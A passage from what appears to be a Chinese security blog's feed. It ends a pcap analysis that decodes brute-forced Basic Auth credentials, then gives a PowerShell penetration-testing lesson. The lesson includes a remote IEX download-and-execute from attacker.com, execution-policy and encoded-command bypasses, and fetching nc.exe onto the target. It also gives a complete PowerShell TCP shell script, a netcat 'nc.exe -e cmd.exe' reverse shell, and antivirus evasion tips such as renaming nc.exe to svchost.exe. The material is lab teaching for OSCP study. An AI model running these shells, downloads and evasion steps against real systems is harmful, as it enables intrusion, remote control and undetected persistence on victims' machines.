&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;uniq -c &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="c1"&gt;# 统计唯一值出现次数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;head &lt;span class="c1"&gt;# 显示前10行结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515101722100" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/12514d089f9cd6d2437045ac7fc9299f.png"&gt;&lt;/p&gt;
&lt;p&gt;也可以用tshark来做这个功能&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;tshark -r password_cracking_filtered.pcap -T fields -e ip.dst | sort | uniq -c | sort -nr | head
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250515102808560" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/b4756f8c9a0e6a6181e90fc5a29a39a6.png"&gt;&lt;/p&gt;
&lt;p&gt;可以发现&lt;code&gt;172.16.40.10&lt;/code&gt;这个ip请求量尤其多，推测是有爆破攻击行为。所以进一步排查。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo tcpdump -n src host 172.16.40.10 -r password_cracking_filtered.pcap
sudo tcpdump -n dst host 172.16.40.10 -r password_cracking_filtered.pcap
sudo tcpdump -n port 81 -r password_cracking_filtered.pcap
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250515102053816" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/de0e81c63b8a55aac29b46af07f3aa0c.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -nX -r password_cracking_filtered.pcap
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515102027588" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/13ada60b20d92ce4a750bcff7bd0566b.png"&gt;&lt;/p&gt;
&lt;p&gt;发现有一些和admin字样相关的信息&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -A -n &lt;span class="s1"&gt;&amp;#39;tcp[13] = 24&amp;#39;&lt;/span&gt; -r password_cracking_filtered.pcap
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515102310682" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/6c167e301d89188545b4ccd9fec6c25c.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -A -n &lt;span class="s2"&gt;&amp;#34;tcp[13]=24&amp;#34;&lt;/span&gt; -r password_cracking_filtered.pcap &lt;span class="p"&gt;|&lt;/span&gt; grep ^Authorization &lt;span class="p"&gt;|&lt;/span&gt; sort -u 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515102540363" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/5bc38b091406f86e77c67546395b308a.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -A -n &lt;span class="s2"&gt;&amp;#34;tcp[13]=24&amp;#34;&lt;/span&gt; -r password_cracking_filtered.pcap &lt;span class="p"&gt;|&lt;/span&gt; grep ^Authorization &lt;span class="p"&gt;|&lt;/span&gt; sort -u &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; -f &lt;span class="m"&gt;3&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; base64 -d 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515102610391" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/a64938ba56e267da79c30d70bbc864d8.png"&gt;&lt;/p&gt;
&lt;p&gt;优化显示输出&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -A -n &lt;span class="s2"&gt;&amp;#34;tcp[13]=24&amp;#34;&lt;/span&gt; -r password_cracking_filtered.pcap &lt;span class="p"&gt;|&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s1"&gt;&amp;#39;^Authorization&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;sort -u &lt;span class="p"&gt;|&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;cut -d &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; -f &lt;span class="m"&gt;3&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; line&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; base64 -d&lt;span class="p"&gt;;&lt;/span&gt; echo&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515103432212" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/421f4e6bc4ab764b7ce91cd38bb0ddc6.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到这个行为就是在爆破admin用户的密码。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day11 Kali渗透工具Powershell</title><link>https://ruajingjing.top/post/day11-kali%E6%B8%97%E9%80%8F%E5%B7%A5%E5%85%B7powershell/</link><pubDate>Wed, 14 May 2025 16:44:55 +0000</pubDate><guid>https://ruajingjing.top/post/day11-kali%E6%B8%97%E9%80%8F%E5%B7%A5%E5%85%B7powershell/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day11 Kali渗透工具Powershell" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;以下内容建议在虚拟机中测试，安装Windows10直接点击注册即可，安装Windows11可以参考如下教程设置后链接。win系统镜像可关注&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，后台回复“OSCP配套工具”获取本文的工具，文件夹&lt;code&gt;Day11-12&lt;/code&gt;中有。&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://zhuanlan.zhihu.com/p/690853440" target="_blank" rel="noopener"
 &gt;手把手、超详细：安装Windows11 虚拟机Vmware 16.x Pro教程！&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="powershell"&gt;PowerShell
&lt;/h2&gt;&lt;p&gt;下载地址：https://aka.ms/PSWindows&lt;/p&gt;
&lt;p&gt;​&lt;strong&gt;​概述​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;定义：微软开发的脚本语言和命令行 Shell，集成于 Windows 系统，支持自动化任务和系统管理。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;特点：无需额外安装，可直接调用 .NET 框架，功能强大且灵活。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250508150733262" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250508150733262.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;渗透测试用途&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;信息收集：枚举系统信息、进程、服务等（如 &lt;code&gt;Get-Process&lt;/code&gt;）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;权限提升：利用漏洞或配置错误提权（如绕过 UAC）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;横向移动：通过 WMI 或 PSRemoting 控制内网其他主机。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;文件传输：下载恶意文件（&lt;code&gt;Invoke-WebRequest&lt;/code&gt; 或 &lt;code&gt;IEX&lt;/code&gt;）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;持久化：创建计划任务、注册表项等维持访问。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250512150549380" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250512150549380.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250512150627549" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250512150627549.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;PowerShell ISE&lt;/code&gt;和终端cmd不同，&lt;code&gt;PowerShell ISE&lt;/code&gt;能执行的命令比终端多，而且ISE的界面类似普通编程IDE界面，上方可以编辑ps1文件，并运行，在下方显示运行结果。右侧显示各种模块的名称，可以直接查找后插入。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;常用命令示例&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 绕过执行策略执行脚本&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;powershell&lt;/span&gt; &lt;span class="n"&gt;-ExecutionPolicy&lt;/span&gt; &lt;span class="n"&gt;Bypass&lt;/span&gt; &lt;span class="o"&gt;-File&lt;/span&gt; &lt;span class="n"&gt;script&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ps1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 从远程加载并执行脚本（无文件攻击）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;IEX &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;New-Object&lt;/span&gt; &lt;span class="n"&gt;Net&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WebClient&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="py"&gt;DownloadString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://attacker.com/script.ps1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 编码命令绕过检测&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$command&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Get-Process&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$bytes&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;System.Text.Encoding&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;Unicode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;GetBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$command&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$encoded&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;Convert&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;ToBase64String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;powershell&lt;/span&gt; &lt;span class="n"&gt;-EncodedCommand&lt;/span&gt; &lt;span class="nv"&gt;$encoded&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="实操练习"&gt;实操练习
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-ExecutionPolicy&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：查看当前 PowerShell 的 &lt;strong&gt;脚本执行策略（Execution Policy）&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;输出 &lt;code&gt;RemoteSigned&lt;/code&gt;&lt;/strong&gt;：
表示当前策略允许运行 ​&lt;strong&gt;​本地脚本​&lt;/strong&gt;​，但来自互联网的脚本（如通过邮件或下载的脚本）必须经过 ​&lt;strong&gt;​数字签名​&lt;/strong&gt;​ 才能运行。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;渗透测试意义&lt;/strong&gt;：
攻击者需确认目标是否允许直接运行脚本，若策略为 &lt;code&gt;Restricted&lt;/code&gt;（默认），则需绕过限制（如使用 &lt;code&gt;-ExecutionPolicy Bypass&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Set-ExecutionPolicy&lt;/span&gt; &lt;span class="n"&gt;Unrestricted&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;作用&lt;/strong&gt;：将执行策略修改为 &lt;code&gt;Unrestricted&lt;/code&gt;，允许运行 &lt;strong&gt;所有脚本&lt;/strong&gt;（包括远程未签名脚本），但执行远程脚本时会弹出警告。&lt;/p&gt;
&lt;p&gt;渗透测试用途&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;绕过默认安全限制，便于直接运行恶意脚本（如从互联网下载的 &lt;code&gt;.ps1&lt;/code&gt; 文件）。&lt;/li&gt;
&lt;li&gt;通常在提权后使用，为后续攻击铺路。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;风险&lt;/strong&gt;：
用户可能因忽略警告而误执行恶意脚本。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250512105804539" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250512105804539.png"&gt;&lt;/p&gt;
&lt;p&gt;Kali 中自带一些用于渗透Windows的工具，存在&lt;code&gt;/usr/share/windows-binaries&lt;/code&gt;文件夹下。用命令启动一个简单的服务器，可以访问下载即将要用到的软件。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;python3 -m http.server
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250512171139317" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250512171139317.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250512171723444" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250512171723444.png"&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;powershell -c &amp;#34;(new-object System.Net.WebClient).DownloadFile(&amp;#39;http://172.168.169.128:8000/nc.exe&amp;#39;,&amp;#39;C:\Users\Administrator\Downloads\nc.exe&amp;#39;)&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：
使用 &lt;code&gt;System.Net.WebClient&lt;/code&gt; 类从攻击者控制的服务器（&lt;code&gt;192.168.162.128&lt;/code&gt;）下载 &lt;code&gt;nc.exe&lt;/code&gt;（Netcat 工具），并保存到 &lt;code&gt;C:\nc.exe&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250512171911906" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250512171911906.png"&gt;&lt;/p&gt;
&lt;p&gt;渗透测试用途&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;下载攻击工具&lt;/strong&gt;：Netcat 常用于创建反向 Shell、端口扫描或文件传输。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;横向移动&lt;/strong&gt;：将工具上传到目标内网主机，进一步控制其他设备。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;持久化&lt;/strong&gt;：结合计划任务或服务，维持长期访问权限。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250512171955777" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250512171955777.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250512172959174" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250512172959174.png"&gt;&lt;/p&gt;
&lt;p&gt;如果是在靶机上测试，记得关闭Windows的防病毒功能，因为这个nv文件十分典型，会报病毒。如果是在实战渗透中，要对nc文件做加密以绕过检测。绕过检测技巧&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用加密协议（如 HTTPS）或混淆 URL。&lt;/li&gt;
&lt;li&gt;重命名 &lt;code&gt;nc.exe&lt;/code&gt; 为合法文件名（如 &lt;code&gt;svchost.exe&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;直接在内存中加载工具（无文件攻击），避免写入磁盘。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="反弹windows的shell到kali中"&gt;反弹windows的shell到kali中
&lt;/h3&gt;&lt;p&gt;Windows中打开ISE，在编辑框中输入&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$listener = New-Object System.Net.Sockets.TcpListener(&amp;#39;0.0.0.0&amp;#39;, 443);
$listener.start();
$client = $listener.AcceptTcpClient();
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % {0};
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
 $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
 $sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String);
 $sendback2 = $sendback + &amp;#39;PS &amp;#39; + (pwd).Path + &amp;#39;&amp;gt; &amp;#39;;
 $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
 $stream.Write($sendbyte, 0, $sendbyte.Length);
 $stream.Flush();
 $client.Close();
 $listener.Stop()
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250514111441536" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250514111441536.png"&gt;&lt;/p&gt;
&lt;p&gt;然后在kali中输入&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nc -nv 172.168.169.136 443
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250514111428779" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250514111428779.png"&gt;&lt;/p&gt;
&lt;p&gt;但是这样获得的链接不稳定，我们把&lt;code&gt;('0.0.0.0', 443);&lt;/code&gt;改为攻击机的地址，就能获得稳定的shell。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$listener = New-Object System.Net.Sockets.TcpListener(&amp;#39;172.168.169.128&amp;#39;, 8888);
$listener.start();
$client = $listener.AcceptTcpClient();
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % {0};
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
 $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
 $sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String);
 $sendback2 = $sendback + &amp;#39;PS &amp;#39; + (pwd).Path + &amp;#39;&amp;gt; &amp;#39;;
 $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
 $stream.Write($sendbyte, 0, $sendbyte.Length);
 $stream.Flush();
 $client.Close();
 $listener.Stop()
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;由于之前我们已经用命令下载了&lt;code&gt;nc.exe&lt;/code&gt;，所以我们可以在window上用nc方便快捷的建立一个反弹shell。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;./nc.exe 172.168.169.128 4444 -e cmd.exe 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后在kali上监听4444端口即可。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; nc -nlvp &lt;span class="m"&gt;4444&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250514154743228" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250514154743228.png"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
